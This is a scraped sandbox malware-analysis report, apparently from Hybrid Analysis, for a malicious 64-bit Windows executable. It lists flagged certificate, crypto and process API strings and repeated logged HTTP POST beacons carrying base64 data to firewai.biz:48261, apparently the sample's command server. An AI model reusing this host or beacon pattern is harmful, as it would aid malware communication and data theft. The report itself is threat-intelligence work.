24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 3b:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4fb,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_70% Sample 671766846f63… — Score 89/100 — Hybrid Analysis","description":"Malicious verdict for sample 671766846f63…. Malware family: Win/malicious_confidence_70%. Threat score 89/100. 6/27 AV engines flagged this file. 5 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49","keywords":["Malicious","Win/malicious_confidence_70%","malware analysis","sandbox report","threat intelligence","671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49"],"about":{"@type":"SoftwareApplication","name":"671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin","applicationCategory":["peexe","64bits","executable"],"identifier":"671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49","additionalType":"Malicious sample"},"threatScore":89,"malwareFamily":"Win/malicious_confidence_70%","antivirusDetections":{"malicious":6,"total":27},"behavioralIndicators":{"malicious":5,"suspicious":12},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T4ed,"m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace buffer152587890625762939453125invalid baseformatBase10level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= nStackRoots= flushedWork double unlock s.spanclass=GC span queue MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= plugin" (Indicator: "CertOpenStore"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin") Found api reference "path= : unknown pc called from runtime: pid=3814697265625unknown errorGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayscavenge indexno deferreturnbad restart PC-thread limitstopm spinningruntime: p id nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: goid=190734863281259" (Indicator: "CertCloseStore"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin") Found api reference "path= : unknown pc called from runtime: pid=3814697265625unknown errorGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayscavenge indexno deferreturnbad restart PC-thread limitstopm spinningruntime: p id nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: goid=190734863281259" (Indicator: "CryptGenRandom"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin") Found api reference "akeup298023223876953125value out of rangebad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushedmarkroot: bad index, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic, g->atomicstatus=unexpected g statusbad runtime" (Indicator: "CryptReleaseContext"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI description14901161193847656257450580596923828125invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in go37252902984619140625link has been severedpackage not installedblock device requiredstate not recoverablerea" (Indicator: "CertOpenSystemStoreW"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI description14901161193847656257450580596923828125invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in go37252902984619140625link has been severedpackage not installedblock device requiredstate not recoverablerea" (Indicator: "CryptAcquireContextW"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin") Found api reference "ntgetenv before env initinterface conversion: freeIndex is not valids.freeindex > s.nelemsbad sweepgen in refillspan has no free spaceruntime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=4656612873077392578125exit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelemsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain" (Indicator: "CertGetCertificateChain"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin") Found api reference "phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall23283064365386962890625" missing CPU supportexit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershipwaiting for cgo callbackhash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unava" (Indicator: "CertFreeCertificateChain"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of missing type in finalizerremaining pointer buffersnoscan object in scanSpanslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStart2910383045673370361328125GODEBUG: can not enable "hash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0bad type kind in fi" (Indicator: "CertFreeCertificateContext"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin"), Found api reference "nalizerfailed putFast after drainnegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memory1455191522836685180664062572759576141834259033203125channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorePageCachePagesLeaked (test)makechan: size out of rangeG waiting list is corruptedM structure uses sizeclass runtime" (Indicator: "CertEnumCertificatesInStore"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin"), Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gc destroyed during GC phase runtime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for 363797880709171295166015625BoundsDecode decoding errorfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free obj" (Indicator: "CertCreateCertificateContext"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin"), Found api reference "684341886080801486968994140625resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertAddCertificateContextToStore"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin"), Found api reference "684341886080801486968994140625resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertVerifyCertificateChainPolicy"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin"), Found api reference "goal cons/mark maxTrigger= pages/byte s.sweepgen= allocCount page summarybad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace buffer152587890625762939453125invalid baseformatBase10level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil not value method heap metadata span.base()=bad flushGen created at: not pointer != sweepgen MB globals work.nproc= nStackRoots= flushedWork double unlock s.spanclass=GC span queue MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= plugi" (Indicator: "CertOpenStore"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin") Found api reference "path= : unknown pc called from runtime: pid=3814697265625unknown errorGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayscavenge indexno deferreturnbad restart PC-thread limitstopm spinningruntime: p id nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: goid=19073486328125" (Indicator: "CertCloseStore"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin") Found api reference "path= : unknown pc called from runtime: pid=3814697265625unknown errorGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayscavenge indexno deferreturnbad restart PC-thread limitstopm spinningruntime: p id nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: goid=19073486328125" (Indicator: "CryptGenRandom"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI description14901161193847656257450580596923828125invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in go37252902984619140625link has been severedpackage not installedblock device requiredstate not recoverablere" (Indicator: "CertOpenSystemStoreW"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI description14901161193847656257450580596923828125invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in go37252902984619140625link has been severedpackage not installedblock device requiredstate not recoverablere" (Indicator: "CryptAcquireContextW"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin") Found api reference "phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall23283064365386962890625" missing CPU supportexit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershipwaiting for cgo callbackhash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unav" (Indicator: "CertFreeCertificateChain"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of missing type in finalizerremaining pointer buffersnoscan object in scanSpanslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStart2910383045673370361328125GODEBUG: can not enable "hash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0bad type kind in f" (Indicator: "CertFreeCertificateContext"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin"), Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gc destroyed during GC phase runtime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for 363797880709171295166015625BoundsDecode decoding errorfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free ob" (Indicator: "CertCreateCertificateContext"; File: "671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin")27:T8652,Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: firewai.biz:48261" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: firewai.biz:48261" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: firewai.biz:48261" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: firewai.biz:48261" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: firewai.biz:48261" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: firewai.biz:48261" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: firewai.biz:48261" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: firewai.biz:48261" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: firewai.biz:48261" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: firewai.biz:48261" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: firewai.biz:48261" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: firewai.biz:48261" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: firewai.biz:48261" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: firewai.biz:48261" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: firewai.biz:48261" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: firewai.biz:48261" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: firewai.biz:48261" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: firewai.biz:48261" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=Xm7wLqVBTHZJHqUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 900Host: firewai.biz:48261" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=Xm7wLqVBTHZJHqUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 900Host: firewai.biz:48261" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=Xm7wLqVBTHZJHqUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 900Host: firewai.biz:48261" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=Xm7wLqVBTHZJHqUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 900Host: firewai.biz:48261" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=Xm7wLqVBTHZJHqUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 900Host: firewai.biz:48261" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=Xm7wLqVBTHZJHqUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 